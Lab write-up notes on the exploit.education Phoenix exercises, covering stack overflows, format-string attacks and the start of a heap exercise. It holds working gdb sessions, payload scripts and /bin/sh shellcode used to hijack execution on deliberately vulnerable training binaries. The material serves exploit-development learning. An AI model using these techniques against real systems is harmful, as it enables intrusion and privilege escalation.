Phoenix (exploit.education) notes
exploit.education is a way to learn exploit development and related topics. Phoenix machine is a set of exercises which covers basic vulnerabilities and exploitation techniques.
This post is a summary of my notes, it is not meant to be a step by step walkthrough.
Stack
This part is focused on memory corruption made on a stack and how it can be abused.
Stack Zero
User input is copied from stdin to locals.buffer
without any length limit. buffer
is a fixed length array (64 elements).
gets(locals.buffer);
The goal is to overflow a buffer to alter another variable. It can be done by putting more than 64 bytes.
user@phoenix-amd64:~$ python -c 'print "A" * 65' | /opt/phoenix/i486/stack-zero
Welcome to phoenix/stack-zero, brought to you by https://exploit.education
Well done, the 'changeme' variable has been changed!
Stack One
This exercise is similar to the previous one, but instead of just changing the variable, we need to set it to specific value.
if (locals.changeme == 0x496c5962) {
As we provides exact data which overwrites stack, we need to specify it in a payload.
user@phoenix-amd64:~$ /opt/phoenix/i486/stack-one `python -c 'print "A" * 64 + "\x62\x59\x6c\x49"'`
Welcome to phoenix/stack-one, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
Stack Two
In this exercise the only change is that user input comes from environmental variable which may be surprising that it’s also user controllable.
ptr = getenv("ExploitEducation");
[...]
strcpy(locals.buffer, ptr);
if (locals.changeme == 0x0d0a090a) {
user@phoenix-amd64:~$ ExploitEducation=`python -c 'print "A"*64 + "\x0a\x09\x0a\x0d"'` /opt/phoenix/i486/stack-two
Welcome to phoenix/stack-two, brought to you by https://exploit.education
Well done, you have successfully set changeme to the correct value
Stack Three
This exercise shows how overwriting a function pointer can be abused. We can set it any address we want and redirect the execution. Address of a desired function can by obtained with objdump
user@phoenix-amd64:~$ objdump -d /opt/phoenix/i486/stack-three | grep '<complete_level>'
08048535 <complete_level>:
user@phoenix-amd64:~$ echo `python -c 'print "a"*64 + "\x35\x85\x04\x08"'` | /opt/phoenix/i486/stack-three
Welcome to phoenix/stack-three, brought to you by https://exploit.education
calling function pointer @ 0x8048535
Congratulations, you've finished phoenix/stack-three :-) Well done!
Stack Four
This one is a little bit more complicated. We have to overwrite a return address which resides on the stack. It is required to use debugger to find a proper offset to reach this variable.
gef➤ disas start_level
[...]
0x08048512 <+13>: call 0x8048310 <gets@plt>
[...]
0x08048535 <+48>: ret
[...]
gef➤ b *start_level+13
Breakpoint 1 at 0x8048512
gef➤ b *start_level+48
Breakpoint 2 at 0x8048535
gef➤ r
Starting program: /opt/phoenix/i486/stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
Breakpoint 1, 0x08048512 in start_level ()
gef➤ x/x $esp
0xffffd630: 0xffffd64c
gef➤ c
Continuing.
aaaa
and will be returning to 0x804855c
Breakpoint 2, 0x08048535 in start_level ()
gef➤ print/x $esp
$0 = 0xffffd69c
gef➤ print/d 0xffffd69c - 0xffffd64c
$1 = 80
We set breakpoints on instructions where it is easy to spot buffer’s address 0xffffd64c
and stack’s address in which return value is stored 0xffffd69c
. By subtracting we get a proper offset.
Last thing to find is a desired return address.
gef➤ print complete_level
$2 = {<text variable, no debug info>} 0x80484e5 <complete_level>
root@phoenix-amd64:/opt/phoenix/i486# echo `python -c 'print "a"*80 + "\xe5\x84\x04\x08"'` | ./stack-four
Welcome to phoenix/stack-four, brought to you by https://exploit.education
and will be returning to 0x80484e5
Congratulations, you've finished phoenix/stack-four :-) Well done!
Stack Five
Finally an exercise where we can execute own code. We will overwrite a return address like in the previous exercise, but this time with address to a shellcode. At the beginning we need to find an offset.
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-five
gef➤ disas start_level
[...]
0x08048498 <+19>: call 0x80482c0 <gets@plt>
[...]
0x080484a2 <+29>: ret
gef➤ b *start_level+19
Breakpoint 1 at 0x8048498
gef➤ b *start_level+29
Breakpoint 2 at 0x80484a2
gef➤ r
Starting program: /opt/phoenix/i486/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
Breakpoint 1, 0x08048498 in start_level ()
gef➤ x/x $esp
0xffffd0a0: 0xffffd0b0
gef➤ c
Continuing.
aaaa
Breakpoint 2, 0x080484a2 in start_level ()
gef➤ print/x $esp
$0 = 0xffffd13c
gef➤ print/d 0xffffd13c - 0xffffd0b0
$1 = 140
As we know the offset and buffer’s address, the last thing we need is a proper shellcode. A typical one will not work because gets
function is in use. More details about this topic and proper shellcode:
- https://stackoverflow.com/questions/50305475/exploit-development-gets-and-shellcode
- http://shell-storm.org/shellcode/files/shellcode-219.php
total_len = 140
payload = "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
payload += "A" * (total_len-len(payload))
payload += "\xb0\xd0\xff\xff"
print payload
user@phoenix-amd64:~$ python five.py | /opt/phoenix/i486/stack-five
Welcome to phoenix/stack-five, brought to you by https://exploit.education
$ id
uid=1000(user) gid=1000(user) euid=505(phoenix-i386-stack-five) egid=505(phoenix-i386-stack-five) groups=505(phoenix-i386-stack-five),27(sudo),1000(user)
Stack Six
The last stack exercise required more effort. This application reads value from ExploitEducation
environmental variable and joins it with a text from GREET
macro. Process of copying is vulnerable to buffer overflow because maxSize
passed to strncpy
is incorrectly calculated. At first, buffer
is filled with what
string using strcpy
function. Then, user controllable value is copied to the further space in buffer
, but when maxSize
is calculated it’s not taken into account that value will be placed after non-zero offset. User controllable value will overflow a buffer by number of bytes equal to the length of what
string.
strcpy(buffer, what);
strncpy(buffer + strlen(buffer), who, maxSize);
At the beginning we would like to know what is overwritten on the stack by our excessive data.
user@phoenix-amd64:~$ ExploitEducation=`python -c 'print "A"*200'`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤ disas greet
[...]
0x080485eb <+102>: push eax
0x080485ec <+103>: call 0x80483b0 <strncpy@plt>
0x080485f1 <+108>: add esp,0x10
[...]
gef➤ b *greet+103
Breakpoint 1 at 0x80485ec
gef➤ r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 1, 0x080485ec in greet ()
gef➤ x/x $esp
0xffffd4f0: 0xffffd51a
gef➤ x/x $esp+8
0xffffd4f8: 0x0000007f
esp
keeps output buffer’s address. esp+8
stores how many bytes (0x7f == 127) will be copied by strncpy
.
After one step (calling strncpy
) we look at output buffer. Data from input ends on 0xffffd598
which is also address kept by ebp
register. It appears that we can control one byte in ebp
.
gef➤ n
gef➤ x/36x 0xffffd51a
0xffffd51a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd52a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd53a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd54a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd55a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd56a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd57a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffd58a: 0x41414141 0x41414141 0x41414141 0xd5414141
0xffffd59a: 0x865fffff 0xdec80804 0x0000ffff 0x00000000
gef➤ x/x $ebp
0xffffd598: 0xffffd541
Continuing we finally reach to interesting part which will allow us to alter execution path:
$eax : 0x0
$ebx : 0x41414141
$ecx : 0xffffd520
$edx : 0x0
$esp : 0xffffd5b0
$ebp : 0xffffd541
$esi : 0xffffd654
→ 0x8048673 <main+104> mov ecx, DWORD PTR [ebp-0x4]
0x8048676 <main+107> leave
0x8048677 <main+108> lea esp, [ecx-0x4]
0x804867a <main+111> ret
gef➤ n
4
is subtracted from ebp
, then it’s treated as a pointer to a value which is set to ecx
.
$eax : 0x0
$ebx : 0x41414141
$ecx : 0xe0000000
$edx : 0x0
$esp : 0xffffd5b0
$ebp : 0xffffd541
$esi : 0xffffd654
gef➤ x/2x 0xffffd541-4
0xffffd53d: 0xe0000000 0x00f7ffb1
→ 0x8048676 <main+107> leave
0x8048677 <main+108> lea esp, [ecx-0x4]
0x804867a <main+111> ret
gef➤ n
This line really doesn’t matter, as it changes esp
and ebp
will be discarded soon.
$eax : 0x0
$ebx : 0x41414141
$ecx : 0xe0000000
$edx : 0x0
$esp : 0xffffd545
$ebp : 0xf7ffb1
$esi : 0xffffd654
→ 0x8048677 <main+108> lea esp, [ecx-0x4]
0x804867a <main+111> ret
gef➤ n
Next, 4
is subtracted from ecx
, and set to esp
- this value becomes a new stack pointer.
$eax : 0x0
$ebx : 0x41414141
$ecx : 0xe0000000
$edx : 0x0
$esp : 0xdffffffc
$ebp : 0xf7ffb1
$esi : 0xffffd654
gef➤ x/x 0xdffffffc
0xdffffffc: Cannot access memory at address 0xdffffffc
→ 0x804867a <main+111> ret
gef➤ n
The application crashes trying to read from esp
(0xdffffffc
) which is inaccessible address,
but if it had succeed it would have taken an address from the stack and jumped to it.
Program received signal SIGSEGV, Segmentation fault.
0x0804867a in main ()
Let’s find better value for ebp
which we may set in range 0xffffd500
- 0xffffd5ff
gef➤ x/100x 0xffffd500
0xffffd500: 0x00000099 0xf7ffb1e0 0x00000002 0xf7fb5ce8
0xffffd510: 0x08049930 0x00000098 0xf7ffb1e0 0x00000099
0xffffd520: 0xf7ffc228 0x00000098 0xffffd56f 0x00000001
0xffffd530: 0x41414141 0x41414141 0xf7fb79f5 0x0000000a
0xffffd540: 0xf7ffb1e0 0x00000000 0xffffd541 0xf7fb5ab8
0xffffd550: 0xf7ffb1e0 0xffffd56f 0x00000001 0x0000000a
0xffffd560: 0x08049930 0x41414141 0x41414141 0x0afb7038
0xffffd570: 0xf7fb5a5b 0xf7ffb000 0xf7ffb1e0 0xf7fb8958
0xffffd580: 0xf7ffb1e0 0x0000000a 0x00000000 0x00000000
0xffffd590: 0x41414141 0xffffd654 0x00000001 0x0804866b
0xffffd5a0: 0x08049930 0x00000000 0x00000000 0x00000000
0xffffd5b0: 0x00000000 0x00000000 0x00000000 0xffffdec8
0xffffd5c0: 0x00000000 0xffffd5e0 0xffffd65c 0xf7f8f654
0xffffd5d0: 0xffffd654 0x00000001 0xffffd65c 0xf7f8f654
0xffffd5e0: 0x00000001 0xffffd654 0xffffd65c 0x00000008
0xffffd5f0: 0x00000011 0x00000000 0xf7f8f628 0xf7ffb000
Let’s say we want to point ebp - 0x4
(look at main+104
) to address 0xffffd564
, so ebp
should be 0xffffd568
. It can be achieved by setting the last byte to 0x68
. We also know that the whole buffer is 127 bytes long (from a third param passed to strcpy
).
user@phoenix-amd64:~$ export ExploitEducation=`python -c 'print "A"*126 + "\x68" + "A"*(200-126-1)'`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤ b *main+107
Breakpoint 1 at 0x8048676
gef➤ r
$eax : 0x0
$ebx : 0x41414141
$ecx : 0x41414141
$edx : 0x0
$esp : 0xffffd5b0
$ebp : 0xffffd568
$esi : 0xffffd654
→ 0x8048676 <main+107> leave
It shows that we control ecx
and we can put our value in it, but now we need to know what part of the payload is there.
gef➤ pattern create 126
[+] Generating a pattern of 126 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabga
user@phoenix-amd64:~$ export ExploitEducation=`python -c 'print "aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabga" + "\x68" + "A"*(200-126-1)'`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤ b *main+107
Breakpoint 1 at 0x8048676
gef➤ r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgah���_����
Breakpoint 1, 0x08048676 in main ()
$ecx : 0x61746161
gef➤ pattern search $ecx 126
[+] Searching '$ecx'
[+] Found at offset 74 (little-endian search) likely
[+] Found at offset 75 (big-endian search)
Moving from one-liner to python script:
total = 200
ebp_offset = 126
ebp = "\x68"
addr_offset = 74
addr = "BBBB"
p = "A" * addr_offset
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))
print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤ b *main+107
Breakpoint 1 at 0x8048676
gef➤ r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����
Breakpoint 1, 0x08048676 in main ()
$ecx : 0x42424242
We know that ecx-4
becomes a new stack pointer and function returns to an address taken from the stack. So now we need to point esp
to our data.
Address of payload beginning may be found this way:
gef➤ b *main+46
Breakpoint 2 at 0x8048639
gef➤ r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Breakpoint 2, 0x08048639 in main ()
gef➤ print $eax
$1 = (void *) 0xffffdec8
So we put this address in script (remember about 4 bytes to be subtracted)
total = 200
ebp_offset = 126
ebp = "\x68"
addr_offset = 74
addr = "\xcc\xde\xff\xff" # 0xffffdec8 + 4 = 0xffffdecc
p = "A" * addr_offset
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))
print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤ b *main+111
Breakpoint 1 at 0x804867a
gef➤ r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����
Breakpoint 1, 0x0804867a in main ()
gef➤ print $esp
$1 = (void *) 0xffffdec8
gef➤ n
0x41414141 in ?? ()
gef➤ print $eip
$2 = (void (*)()) 0x41414141
We moved control to address which we control, but we need to move control to our code. We know the address of the beginning from which value 0x41414141
was taken (0xffffdec8
). So our payload should start from the next 4 bytes (0xffffdecc
).
total = 200
ebp_offset = 126
ebp = "\x68"
addr_offset = 74
addr = "\xcc\xde\xff\xff"
shellcode = "\xcc" * 32
p = "\xcc\xde\xff\xff"
p += shellcode
p += "A" * (addr_offset - len(p))
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))
print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤ r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ������������������������������������AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����
Program received signal SIGTRAP, Trace/breakpoint trap.
0xffffdecd in ?? ()
→ 0xffffdecd int3
0xffffdece int3
0xffffdecf int3
0xffffded0 int3
0xffffded1 int3
0xffffded2 int3
0xffffded3 int3
0xffffded4 int3
0xffffded5 int3
0xffffded6 int3
0xffffded7 int3
0xffffded8 int3
It’s proof that we can move control to our payload. Now it’s time to test real shellcode, taken from:
total = 200
ebp_offset = 126
ebp = "\x68"
addr_offset = 74
addr = "\xcc\xde\xff\xff"
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
p = "\xcc\xde\xff\xff"
p += shellcode
p += "A" * (addr_offset - len(p))
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))
print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/stack-six
gef➤ r
Starting program: /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ����1�Ph//shh/bin��PS��
̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����
process 488 is executing new program: /bin/dash
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
$
It works, shell is spawned. It’s time to test it without debugger.
user@phoenix-amd64:~$ /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ����1�Ph//shh/bin��PS��
̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh���_����
Segmentation fault
It crashes so we need to adjust addresses, because debugger sets slightly different environmental variables. It can be done by analysis of core dump.
user@phoenix-amd64:~$ sudo sh -c 'echo 2 > /proc/sys/fs/suid_dumpable'
user@phoenix-amd64:~$ ulimit -c unlimited
user@phoenix-amd64:~$ /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ��������������������1�Ph//shh/bin��PS��
̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����_����
Segmentation fault (core dumped)
user@phoenix-amd64:~$ gdb -c /var/lib/coredumps/core.stack-six.11.336
gef➤ x/100x 0xffffd500
0xffffd500: 0x0000007f 0xffffd674 0x00000001 0x08048603
0xffffd510: 0xf7f81cf7 0xf7ffb1e0 0xffffd540 0xf7fb5cf1
0xffffd520: 0x00000099 0xf7ffb1e0 0x00000002 0xf7fb5ce8
0xffffd530: 0x08049930 0x00000098 0xf7ffb1e0 0x00000099
0xffffd540: 0xf7ffc228 0x00000098 0xffffd58f 0x00000001
0xffffd550: 0xcd0bb0e1 0x41414180 0xf7fb79f5 0x0000000a
0xffffd560: 0xf7ffb1e0 0x00000000 0xffffd568 0xf7fb5ab8
0xffffd570: 0xf7ffb1e0 0xffffd58f 0x00000001 0x0000000a
0xffffd580: 0x08049930 0xffffdecc 0x41414141 0x0afb7038
We can see that our address appears on 0xffffd584
instead of 0xffffd564
, so we need to change ebp
from x68
to x88
.
Next is beginning of our data which is at 0xffffdeaa
instead of 0xffffdec8
.
gef➤ x/100x 0xffffdec8-30
0xffffdeaa: 0xffffdecc 0x6850c031 0x68732f2f 0x69622f68
0xffffdeba: 0x50e3896e 0xb0e18953 0x4180cd0b 0x41414141
0xffffdeca: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdeda: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdeea: 0x41414141 0x41414141 0xdecc4141 0x4141ffff
0xffffdefa: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf0a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf1a: 0x41414141 0x41414141 0x41414141 0x41684141
0xffffdf2a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf3a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf4a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf5a: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffdf6a: 0x41414141 0x41414141 0x474f4c00 0x454d414e
Adjusted script:
total = 200
ebp_offset = 126
ebp = "\x88"
addr_offset = 74
addr = "\xae\xde\xff\xff" # 0xffffdeaa + 4 = 0xffffdeae
shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
p = "\xae\xde\xff\xff"
p += shellcode
p += "A" * (addr_offset - len(p))
p += addr
p += "A" * (ebp_offset - len(p))
p += ebp
p += "A" * (total - len(p))
print p
user@phoenix-amd64:~$ export ExploitEducation=`python six.py`
user@phoenix-amd64:~$ /opt/phoenix/i486/stack-six
Welcome to phoenix/stack-six, brought to you by https://exploit.education
Welcome home, ����1�Ph//shh/bin��PS��
̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA����BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB����_����
$ id
uid=1000(user) gid=1000(user) euid=506(phoenix-i386-stack-six) egid=506(phoenix-i386-stack-six) groups=506(phoenix-i386-stack-six),27(sudo),1000(user)
Format
This part is about string formatting vulnerabilities. All information required to successfully finish exercises:
Format Zero
Vulnerability occurs because user input is used as format string and formatting result is written into a fixed length buffer (32 bytes)
struct {
char dest[32];
volatile int changeme;
} locals;
[...]
sprintf(locals.dest, buffer);
The goal is to alter locals.changeme
by memory corruption. It can be done by specifying a number with a fixed length which would overflow the buffer.
user@phoenix-amd64:~$ /opt/phoenix/i486/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%031x
Uh oh, 'changeme' has not yet been changed. Would you like to try again?
user@phoenix-amd64:~$ /opt/phoenix/i486/format-zero
Welcome to phoenix/format-zero, brought to you by https://exploit.education
%032x
Well done, the 'changeme' variable has been changed!
Format One
In this exercise instead of just altering the locals.changeme
, it is required to set it to 0x45764f6c
value. It may be achieved just by writing specific bytes at the end of the input buffer.
Uh oh, 'changeme' is not the magic value, it is 0x41413034
user@phoenix-amd64:~$ /opt/phoenix/i486/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%032xAAAA
Uh oh, 'changeme' is not the magic value, it is 0x41414141
user@phoenix-amd64:~$ /opt/phoenix/i486/format-one
Welcome to phoenix/format-one, brought to you by https://exploit.education
%032xlOvE
Well done, the 'changeme' variable has been changed correctly!
Format Two
This one prints on stdout instead of a buffer, so a different approach is required.
void bounce(char *str) {
printf(str);
}
Values on stack may be treated as further parameters for printf
, so it would be easy to exploit if user input appeared somewhere there.
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/format-two
gef➤ disas bounce
[...]
0x08048521 <+12>: call 0x8048320 <printf@plt>
[...]
End of assembler dump.
gef➤ b *bounce+12
Breakpoint 1 at 0x8048521
gef➤ r AAAA
Starting program: /opt/phoenix/i486/format-two AAAA
Welcome to phoenix/format-two, brought to you by https://exploit.education
Breakpoint 1, 0x08048521 in bounce ()
gef➤ x/16x $esp
0xffffd000: 0xffffd030 0xffffd31a 0x00000100 0x00000000
0xffffd010: 0xf7f84b67 0xffffd150 0xffffd138 0x080485a0
0xffffd020: 0xffffd030 0xffffd31a 0x00000100 0x000003e8
0xffffd030: 0x41414141 0x00000000 0x00000000 0x00000000
Our value appears at 0xffffd030
which is 13th parameter of printf
, so instead of 0x41414141
we may put there any address to which we want write.
gef➤ print &changeme
$1 = (<data variable, no debug info> *) 0x8049868 <changeme>
So we put this address on the stack, then we skip next 11 elements (not 12, because first is skipped already - it’s address of a string), and the last part - %n
writes to that address.
user@phoenix-amd64:~$ /opt/phoenix/i486/format-two `python -c 'print "\x68\x98\x04\x08" + "%08x_" * 11 + "%n"'`
Welcome to phoenix/format-two, brought to you by https://exploit.education
hffffd2ec_00000100_00000000_f7f84b67_ffffd120_ffffd108_080485a0_ffffd000_ffffd2ec_00000100_000003e8_Well done, the 'changeme' variable has been changed correctly!
Format Three
Here instead of writing any value, a specific one must be set.
if (changeme == 0x64457845) {
Solution is similar, we put desired address on stack.
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/format-three
gef➤ b *bounce+12
Breakpoint 1 at 0x80484f1
gef➤ r
Starting program: /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
AAAABBBBCCCCDDDD
Breakpoint 1, 0x080484f1 in bounce ()
gef➤ x/16x $esp
0xffffc0f0: 0xffffc120 0x00000000 0x00000000 0x00000000
0xffffc100: 0xf7f81cf7 0xf7ffb000 0xffffd128 0x08048556
0xffffc110: 0xffffc120 0xffffc120 0x00000fff 0x00000000
0xffffc120: 0x41414141 0x42424242 0x43434343 0x44444444
Position of input data is the same - it starts from 13th parameter.
gef➤ print &changeme
$1 = (<data variable, no debug info> *) 0x8049844 <changeme>
So we put changeme
address increased by 2, then any address, then changeme
again but without any modification. Then we print "%2565x" * 10 + "%4x"
next 11 elements from stack, usage of length specifiers sets byte counter to 0x6445
. Using %hn
2 bytes from counter (instead of 4 bytes for %n
) are written to specified address.
user@phoenix-amd64:~$ echo `python -c 'print "\x46\x98\x04\x08\xff\xff\xff\xff\x44\x98\x04\x08aaa" + "%2565x" * 10 + "%4x" + "%hn"'` | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
[...]
Better luck next time - got 0x64450000, wanted 0x64457845!
Then, more bytes are printed %5120x
to reach 0x7845
in counter.
user@phoenix-amd64:~$ echo `python -c 'print "\x46\x98\x04\x08\xff\xff\xff\xff\x44\x98\x04\x08aaa" + "%2565x" * 10 + "%4x" + "%hn%5120x%hn"'` | /opt/phoenix/i486/format-three
Welcome to phoenix/format-three, brought to you by https://exploit.education
[...]
Well done, the 'changeme' variable has been changed correctly!
Format Four
Last format exercise requires changing execution flow. It can be done by using how exit
is called. Its address is kept in .plt
which we can try to override. More details about this technique:
user@phoenix-amd64:~$ python -c 'print "A" * 16' > /tmp/a
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/format-four
gef➤ b *bounce+17
Breakpoint 1 at 0x80484f6
gef➤ r < /tmp/a
Starting program: /opt/phoenix/i486/format-four < /tmp/a
Welcome to phoenix/format-four, brought to you by https://exploit.education
Breakpoint 1, 0x080484f6 in bounce ()
gef➤ x/16x $esp
0xffffc110: 0xffffc140 0x00000000 0x00000000 0x00000000
0xffffc120: 0xf7f81cf7 0xf7ffb000 0xffffd148 0x0804857d
0xffffc130: 0xffffc140 0xffffc140 0x00000fff 0x00000000
0xffffc140: 0x41414141 0x41414141 0x41414141 0x41414141
As in the previous exercises, user input starts from 13th parameter.
gef➤ disas main
[...]
0x08048569 <+70>: call 0x8048330 <exit@plt>
[...]
gef➤ x/i 0x8048330
0x8048330 <exit@plt>: jmp DWORD PTR ds:0x80497e4
gef➤ x/x 0x80497e4
0x80497e4 <exit@got.plt>: 0xf7f7f543
Address of exit
function (0xf7f7f543
) is kept at 0x80497e4
.
gef➤ print &congratulations
$1 = (<text variable, no debug info> *) 0x8048503 <congratulations>
We would like to write 0x8048503
value at 0x80497e4
to replace real exit
address. Payload can be prepared using the same technique as before.
python -c 'print "\xe6\x97\x04\x08\xff\xff\xff\xff\xe4\x97\x04\x08" + "%202x-"*10 + "%10x" + "%hn%31999x%hn"' > input.txt
user@phoenix-amd64:~$ cat input.txt | /opt/phoenix/i486/format-four
[...]
Well done, you're redirected code execution!
[...]
Execution was redirected, but more interesting is executing own code. So instead of writing congratulations
address, we will write an address of a buffer containing shellcode.
user@phoenix-amd64:~$ python -c 'print "\xe4\x97\x04\x08\xff\xff\xff\xff\xe5\x97\x04\x08\xff\xff\xff\xff\xe6\x97\x04\x08\xe7\x97\x04\x08" + "%x"*10 + "%99x" + "%hhn%16x%hhn%63x%hhn%hhn" + "A" * 8' > input2.txt
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/format-four
gef➤ b *bounce+17
Breakpoint 1 at 0x80484f6
gef➤ r < /tmp/a
Starting program: /opt/phoenix/i486/format-four < /tmp/a
Welcome to phoenix/format-four, brought to you by https://exploit.education
Breakpoint 1, 0x080484f6 in bounce ()
gef➤ grep AAAAAAAA
[+] Searching 'AAAAAAAA' in memory
[+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx
0xffffc0a8 - 0xffffc0af → "AAAAAAAA[...]"
This time payload will write bytes one by one (using %hhn
), pointing just after “AAAAAAAA” - 0xffffc0b0
. Shellcode will be the same as from stack 5 exercise.
user@phoenix-amd64:~$ python -c 'print "\xe4\x97\x04\x08\xff\xff\xff\xff\xe5\x97\x04\x08\xff\xff\xff\xff\xe6\x97\x04\x08\xe7\x97\x04\x08" + "%x"*10 + "%99x" + "%hhn%16x%hhn%63x%hhn%hhn" + "A" * 8 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"' > input2.txt
user@phoenix-amd64:~$ /opt/phoenix/i486/format-four < input2.txt
Welcome to phoenix/format-four, brought to you by https://exploit.education
[...]
$ id
uid=1000(user) gid=1000(user) euid=511(phoenix-i386-format-four) egid=511(phoenix-i386-format-four) groups=511(phoenix-i386-format-four),27(sudo),1000(user)
Heap
This part is focused on exploitation heap memory corruption.
Heap Zero
The application allocates memory for struct data
and struct fp
on heap. Then, without any length verification copies user input to fixed length buffer in struct data
.
struct data {
char name[64];
};
struct fp {
void (*fp)();
char __pad[64 - sizeof(unsigned long)];
};
[...]
int main(int argc, char **argv) {
[...]
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
strcpy(d->name, argv[1]);
The goal is to overwrite f->fp
pointer.
We need to check a distance between end of buffer
and fp
.
user@phoenix-amd64:~$ gdb /opt/phoenix/i486/heap-zero
gef➤ disas main
[...]
